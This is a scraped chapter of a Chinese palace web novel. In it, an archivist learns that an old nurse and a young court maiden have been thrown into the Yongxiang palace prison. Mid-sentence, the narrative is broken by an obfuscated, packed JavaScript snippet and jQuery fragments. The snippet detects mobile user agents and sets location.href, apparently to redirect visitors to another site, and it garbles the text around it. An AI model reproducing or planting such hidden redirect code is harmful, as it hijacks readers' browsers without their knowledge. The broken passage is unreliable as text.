默认冷灰
24号文字
方正启体

40.第四十章 入狱

作者:闲来无虞本书字数:K更新时间:
    今夜凡不凡在宫内当值,他每隔几日便要值一次夜,住在宫里,便让青绿独自乘坐他的马车回府。


    青绿说自己在外办差好几个月,文书档案堆积如山,她留在兰台整理,也不回了,住在侍御史宿庐,陆叔给她安排有单间。


    今日她拿到了进出宫禁的令牌,决定用过晚膳便去寻钟离梨,她迫切想知道,她托钟离梨寻找的那位嬷嬷是否已经找到。


    青绿沿着屋檐的阴影朝鸣鸾殿方向疾步而行,虽已是黄昏,但酷暑未退,脚踩在甬道的青砖上能感觉到一股灼热。


    快到鸣銮殿时,朦胧光影中,她看见前面一队巡查的卫士正朝自己走来,突然心里一慌,下意识地撒丫子朝一旁的岔路跑去。


    有卫士大喊:“何人?别跑。”


    青绿闻言,更如被鬼撵般飞跑起来,没跑多远,脚下一滑,在地上摔了个四仰八叉。


    卫士们气喘吁吁追上来,为首的高大卫士,看样子是个卫尉,一把将她从地上拎了起来,扭着她的胳膊上下打量了一下,一脸警惕道:“你不是宫人?”


    估计他有些懵逼,从年纪上判断青绿应该是宫人,但她穿的是常服,看不出身份。


    卫士们如临大敌般将她团团围住。


    卫尉喝问:“你是何人?如何进的宫?想干何事?”


    青绿被问得一愣一愣的,忽然想到了什么,一下笑出声来:“啊哈,我是兰台的主簿,我有令牌。”说着从怀中掏出一个铜制长方形牌子递给高大卫士。


    这是一块铜铸的牌子,差不多有巴掌大,状似短剑,上宽下窄,最窄处铸一虎目圆睁虎口大张的虎头,栩栩如生威风凛凛,正面上刻“兰台”二字,下刻一个“凡”字,背面通体錾刻着兰台防伪的精细兰叶纹,整块铜牌雄浑粗犷而又不失精致。


    卫尉接过令牌细看,蓦地,他睁大了眼睛,目光死死盯着令牌正面右上角,那儿盖着一个小小金玺,大概以为自己看走了眼,他擦了擦眼睛又看了一遍。


    他的视线从令牌移到青绿身上,再次认真地上下打量了青绿好一会,态度变得恭敬起来,但语气仍有些将信将疑:“凡主簿既有令牌,为何却一见我们便跑?”


    青绿有些难堪,却负手挺了挺胸,直视着卫尉,心里默念:我不尴尬,尴尬的便是你。因理直气壮强词夺理道:“你哪只眼睛看见我一见你们便跑,我是追一只小松鼠,是你们一见我跑便追上来好不啦。我还没问你你倒先问起我来了。”


    却恨不得给自己一巴掌,又没做贼心虚个屁啊。她刚才甫一看见卫士便下意识地躲开,全然忘了自己有可以在宫里能横着走的护身符。


    卫尉不明所以地眨眨眼:“啊?”


    把令牌递还给青绿,恭敬行礼后带队离去。


    青绿理了理衣衫,拍去身上的尘土,昂首挺胸大摇大摆地到了鸣鸾銮殿,秀女们正在进行晚练习。


    她摆出一副趾高气昂的姿态,从经史室将钟离梨从管事嬷嬷严厉的眼神下带了出来。


    不知为何,钟离梨见了青绿,眼里的光闪了一闪便暗淡下来,神情萧索。


    青绿不由心底一凉,难道钟离梨没有找着那位嬷嬷?脸上却是一副轻松状态,笑道:“我回来了几日,才寻着机会过来看你。”


    钟离梨轻轻“嗯”了一声,有些欲言又止。


    青绿携着她的手到了无人处,从袖内掏出一个食盒递给她。


    钟离梨打开看了一眼,苦着脸向青绿投来询问的目光。


    青绿一看,食盒已被压扁,里面的糕点零碎不堪,不由跌足道:“哎呀,这可是鸡油玫瑰酥,我自个都舍不得吃,才刚在路上摔了一跤,给压坏了。”


    钟离梨意气阑珊道:“你的心意我领了,不吃也罢,吃完了若觉着好吃,下回上哪找去?”


    青绿疑惑地看着她,见她眼眶竟微微泛红,以为她是心怀内疚,便安慰道:“梨子,没有找着那位嬷嬷,你也不必挂在心上,或许是我记错了呢,没事,我如今有出入宫禁的令牌,我们再慢慢找。”


    钟离梨摇摇头:“你离开长安的第三日,我便打探到了,浣衣室确实有这么一位符合你所说特征的嬷嬷,五十上下年纪,脸瘦长,岭南人长相,两眼眼距较宽,她名为七竹,原是浣衣室主管,现因为犯事被下了永巷。”


    永巷是后宫拘禁有罪妃嫔及宫人的地方,被关进去大概率只有死路一条。


    青绿眉头微蹙,眼神掠过一丝意外,随即抿紧了嘴唇,神情紧张地环视四周,只有远处几名秀女在翩跹起舞,无人注意到她们这边,这才压低声音问道:“七竹嬷嬷因何事获罪?现被关在永巷何处?”


    钟离梨道:“她被关在永巷最东头,我随训导嬷嬷进去看过。至于所犯何事,我费了很大劲也打探不出来。不过我倒是见过接任浣衣室主管的嬷嬷,生得贼眉鼠眼,一看就不是厚道人,故也不敢向她打探。”


    青绿皱眉思索:看七竹嬷嬷面相甚是和善,当时在鸣鸾殿,七竹嬷嬷听到她说要引开卫士,脸上的表情既感动又不落忍,应该是个老实人,但因何被投入永巷,难道是卷入宫斗?着了浣衣室新主管的道?宫内这种事情无时无刻不在发生。


    见钟离梨怔怔看着自己,便拍了她肩膀一掌:“还是梨子你有办法,我便说过,你有做谍子的潜质。”


    钟离梨弱弱道:“切,没点看家本领,早被人欺负成狗了。”


    钟离梨爹原是杭州织造府的一名高级官匠,具双重身分,既在官局织造进贡的布料,同时可自置织机自营织业,家境在杭州算中等,娶了三房娘子,大娘子娘家开办私塾,二娘子出身庄户人家,三娘子是扬州瘦马。


    钟离梨与哥哥钟离木为大娘子所出。钟离梨尚在豆蔻之年,一个无风无浪的明媚春日,爹娘毫无征兆地溺毙于西湖,家里顿生巨变。


    二娘憨厚,斗不过七巧玲珑心的三娘,且无子嗣,收拾体己回了娘家;三娘领着亲生儿子,钟离梨同父异母的弟弟钟离春,口口声声要为老爷守孝,实则一边加紧将家里的田地商铺落在钟离春名下,一边盘算着如何尽快将大房的兄妹俩赶出家门。


    钟离木终日只知埋头苦读,对此不闻不问,眼看兄妹俩将被扫地出门,钟离梨却将族中长辈邀至家中,拿出一封娘留下的爹亲笔书写的遗书,当着族长的面理直气壮地摊在众人面前。


    遗书上清清楚楚地写着:吾若遭不测,祖宅当归大娘子及其子女;其余田亩铺面,由三位娘子均分。


    三娘自知理亏,也不敢深究,带着儿子及几十亩良田,及位于正街的三间旺铺,下嫁钟离爹的大徒弟。


    如此,钟离梨兄妹俩才又过上了安生日子。


    青绿一听找到了七竹嬷嬷,心里一块石头落地,由衷地感叹道:“你真的找到七竹嬷嬷了?真是太好了!谢谢你,梨子。翌日我便进永巷。”却又有些犹豫,“可我用何借口进去见她,才不让人生疑呢?总不能无聊到跑去永巷送温暖吧。”


    钟离梨神情萎靡道:“不如我犯些小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564505|185334||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    错被逮去永巷,你到永巷捞我?”那样子不像是在开玩笑。


    “我呸,你脑子被门夹过么?想出这等昏招,一个七竹嬷嬷的事儿还没搞清楚,还要搭上一个。你可知一旦进了永巷,你个人典籍上将留下记录,还怎么侍奉皇帝?又或是嫁给哪些个皇子皇孙?”


    “我不稀罕,如能自选,我倒愿意如你这般做个宫官。可惜我没你那份能耐。”钟离梨虽然和青绿说着话,却始终提不起精神。


    青绿目不转睛地注视着她,忽然问:“汤圆呢,她还好么?”


    钟离梨泪水滴落下来:“汤圆,也在永巷,今早进去的。”


    “你说什么?汤圆在永巷?”青绿瞳孔倏然放大,拼命摇晃着钟离梨的肩膀,“难怪我看你一直不太对劲,你为何不早说?”


    “看你为七竹嬷嬷着急的样子,我总得先告诉你关于她的消息。再说,早说晚说不都一样?我们能有什么办法?连齐姑姑出面都没用,永巷那边说了,才进去还没有过堂,不许领人出来。”


    “你快说说怎么回事?汤圆因何入了永巷?”青绿急道。


    “因为得罪了七公主。”钟离梨语气悲凉。


    “所为何事?”


    钟离梨擦了一把脸上的泪水,缓缓说起了事情经过:


    今日早上,汤圆快回到秀女寝室时,突然从墙外飞来一个圆球落在她面前,她顺手捡了起来,这是一个十分精致的多层藤鞠,深褐色藤条层层叠绕成球,外层缀银铃,最内层嵌一颗莹白珍珠。


    她正看着,一名七八岁的小姑娘飞跑过来上手便抢,说藤鞠是她的,不知道汤圆对小姑娘说了一句什么话,然后两手一松,许是这个动作太突然,小姑娘一下向后倒在地上,后脑勺磕着地上的小石子,肿起一个小包。


    汤圆连忙去扶小姑娘,嘴里还连连道歉。


    小姑娘很生气,对跑过来的一名宦官道:“叶内侍,将这贱人绑了送去永巷,不必惊动母后。”


    宦官应道:“是,七公主。”


    跟在汤圆身后回寝室的一名秀女目睹了事件的全过程,跑去禀告齐姑姑,钟离梨才知道汤圆出事了。


    钟离梨哽咽道:“我只恨自己没本事,救不出汤圆,她那么善良乖巧。”


    青绿心情沉重,喃喃道:“怎么会这样?”着急道“不行,我得马上进永巷。”


    钟离梨抬头看了看天色,断然摇头道:“不行,天黑了,你一个人进永巷不方便。”


    青绿道:“正因为天黑了,我怕汤圆会出事。”她眼前浮现出汤圆怯怯的双眸及带着婴儿肥的小脸,心里一阵隐隐作痛。


    遂拿定主意,打着兰台的旗号进永巷,若事情败露,大不了被瓜老头臭骂一通,再狠一点,被他掐脖子而已,死不了。但若她不进永巷,胆小的汤圆不被吓死也被吓傻。


    汤圆出身虽然不高,因是幺女,上有两个哥哥一个姐姐,在家人呵护下长大,没吃过什么苦也没受过什么委屈。


    钟离梨见她执意要去,拔下头上的玉钗塞到她手里:“打点内监用得上。”


    内监是看守永巷的宦者。


    青绿推开她的手道:“这个暂且用不着,我有这个。”


    怀里掏出一个小布袋,打开给钟离梨看,里面是几个金锞子,这是她出门前特意带上的,在宫里若想问路办事顺利,宫人宦官总得小小打点一下。


    对钟离梨挥了挥手:“我去了。”


    钟离梨泪眼迷离:“好妹妹,务必当心。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)